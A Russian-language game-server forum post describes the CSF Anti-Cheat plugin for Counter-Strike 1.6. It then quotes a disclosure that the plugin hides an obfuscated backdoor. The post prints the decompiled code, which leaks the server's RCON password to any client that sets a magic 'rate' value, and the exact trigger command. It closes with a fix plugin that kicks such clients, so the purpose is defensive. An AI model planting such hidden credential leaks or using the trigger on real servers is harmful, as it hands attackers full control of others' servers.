Death Zone Forum
Мы переехали!!!!!!!!!
<br /><br />

Вот <a href="http://deathzone.com.ua">Ссылка</a>


CS server Death Zone | Public
 
На сайтФорумРегистрацияВход

Поделиться | 
 

 CSF Anti-Cheat

Перейти вниз 
АвторСообщение
Kiss.My.Ass
Капитан
Капитан
avatar

Награды :

Сообщения : 322
Дата регистрации : 2010-12-04
Возраст : 33
Откуда : Киев

СообщениеТема: CSF Anti-Cheat   Сб Дек 18, 2010 8:50 am

CSFile Anti-Cheat


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
Текущая версия: 1.23 Release
Дата обновления: 31.12.2009
Анти-чит без клиентской части (Плагин для AMXX)

Требуемые модули:

* Cstrike
* Fakemeta
* HamSandwich
* Mysql


Обнаруживает и блокирует:
- Fast Fire [Быстрая стрельба]
- Speed Hack [Увеличение скорости игрока]
- Spin Hack [Кружение вокруг своей оси]
- CDHack [Cheating Death Hack]
- Fighter FX [Некоторые виды]
- Name Spam [Частое изменение ника]
- Bunny Hop Script [Скрипт распрыжки]
- Cheat Say [Блокирует сообщения в чате от чит-программ]
- Cheat Names [Блокирует читерские ники]
- Cheat List [Блокирует 8 видов читов]

* - EcstaticCheat
* - TeKilla
* - MicCheat
* - AlphaCheat
* - PimP
* - LCD
* - Chapman
* - PRJVDC

Дополнительная защита:
- WallHack Guard [Блокировка различный WallHack программ]
- Cvar Guard [Запрет на смену определенных консольных команд]
- Zone Guard [Блокировка зон (Выход за пределы игровой зоны)]
- Flash Bug Guard [Блокировка Flash гранат, брошенных за текстуры]
- HE Bug Guard [Блокировка HE гранат, брошенных за текстуры]
- Files Check [Проверка определенных файлов у игрока на совпадение с файлами сервера]
- Anti-Cheat Key [Блокировка нажатий чит-клавиш (END, INS, F12...)]
- Anti-Silent Plant [Убирает беззвучную установку бомбы]
- Anti-Silent Run aka Double Duck [Запрещает бесшумный бег]
- Anti-Fast Pistol Shots [Запрещает использовать скрипты повышающие скорость стрельбы из пистолета]
- CMD Flood [Защита от флуда клиентскими командами (Что-то подобие защиты от fullupdate, только расширенный вариант и защищает от других возможных лаго-скриптов)]

Дополнительные возможности:
- My Punishment [Позволяет использовать свой плагин для наказания/блокировки читера]
- Два типа обнаружения CDHack,FFX + Режим мульти обнаружения
- Два типа блокировки Silent Run aka Double Duck
- Меню Zone Guard для лёгкого добавления / настройки запрещенных зон
- Тонкая настройка (Все переменные и значения выведены в файлы конфигов)
- Логирование в mySQL + Приятная и удобная PHP форма вывода на сайт

Админские команды:

csf_ac_zoneguard_menu - Вызов меню Zone Guard, для добавления / редактирования запрещенных зон

Локализация:
- Русский Язык
- English Language
- Українська Мова
Код:
Папка анти-чита: addons\amxmodx\configs\csf_anticheat
Папка хранения Блокируемых зон: \csf_zone_guard
Основной файл конфигураций анти-чита: csf_ac_main.cfg
Список запрещенных клавиш: csf_ac_cheatkey.cfg
Список запрещенных сообщений: csf_ac_cheatsay.cfg
Список заблокированных консольных команд: csf_ac_cvarguard.cfg
Список читерских ников / клантегов: csf_ac_cheatnames.cfg
Список сверяемых файлов: csf_ac_filescheck.cfg
Белый список карт для модуля SpeedHack: csf_whitelist.cfg

Плагин: addons\amxmodx\plugins\csf_anticheat.amxx
Файл языка: addons\amxmodx\data\lang\csf_anticheat.txt
Установка:
-Добавить все файлы согласно иерархии папок
-Открыть блокнотом файл cstrike/addons/amxmodx/configs/plugins.ini
-В самый верх записываем строчку "csf_anticheat.amxx" (Без кавычек)
-Если установлен "[CSF-AC] OpenGL32 Detect", то csf_anticheat.amxx записываем на вторую строчку, а csf_opengl32.amxx на первую!
И никак иначе!


F.A.Q.
В: Прописал в mypunishment "amx_bancs ..." и не банит, что делать?
О: Поставьте последнюю версию плагина bancs

B: OS Linux, почему не ведутся записи в mySQL? Хотя модуль mysql модключен.
O: ln -s /var/run/mysqld/mysqld.sock /tmp/mysql.sock

Внимание! Прежде чем скачивать античит ознакомьтесь с этим предупреждением, и для безопасности сервера удалите rcon_password.
Цитата :

Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 Detect

Сегодня я сделал интересное открытие по поводу двух античитерских плагинов от
автора с ником -)>C-r-A-c-K<(-. Речь пойдёт CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final.

Начну пожалуй с плагина определения OpenGL32 Hack'ов. Как-то меня попросили на форуме отлучить этот плагин от модуля MySql, я в свою очередь конечно же согласился. Понятное дело чтобы это можно было сделать, требовалось получить исходный код, которого нет на паблике. Вооружившись некоторыми деасамблирующими программами я обратил внимание на вот такие строки:

new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"


Если немного перемешать и гдето сложить (rc+on_+pa+swor+d), то получится rcon_password
Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему.
И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect:
мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized:
format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate

Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1

Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )

Теперь функция c_check_opengl32 (она вызывается после захода игрока):
Код:
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 21123
{ // Если одинаковы
    format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
    get_cvar_string(g_r,g_ss,47) // Получаем пароль
    client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
Вот такие вот пироги. Если не верите - попробуйте сами... Пропишите в консоли клиента
setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль!


Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая
ситуация. Так же присутствуют:

new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"


Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"),
format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )


Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ),
format ( g_gate, 5, "%ste", csf_ac_ra )

Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31)
Функция cv_anticheat (так же выполняется после захода игрока):
Код:
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 24123
{ // Если одинаковы
    format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
    get_cvar_string(g_r,g_ss,47) // Получаем пароль
    client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
И опять же если не верите, пропишите в консоли клиента
setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль!



Код:
#include <amxmodx>

public plugin_init()
    register_plugin("Fix CSFile.Info BackDoor", "Zefir", "0.1")

public client_connect(id)
    client_check(id)

public client_putinserver(id)
    client_check(id)

public client_check(id) {
    new rate[32]
   
    get_user_info(id, "rate", rate, charsmax(rate))
   
    if (equal(rate, "24123") || equal(rate, "21123"))
        server_cmd("kick #%d used game bug...", get_user_userid(id))

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

**********************************************************************************************
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Сообщество CS forum в: [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Вернуться к началу Перейти вниз
Посмотреть профиль
 
CSF Anti-Cheat
Вернуться к началу 
Страница 1 из 1

Права доступа к этому форуму:Вы не можете отвечать на сообщения
Death Zone Forum :: Создание и настройка серверов Cs 1.6 :: Защита Игрового сервера-
Перейти:  
Forum2x2 | © phpBB | Бесплатный форум поддержки | Контакты | Сообщить о нарушении | Blog2x2.ru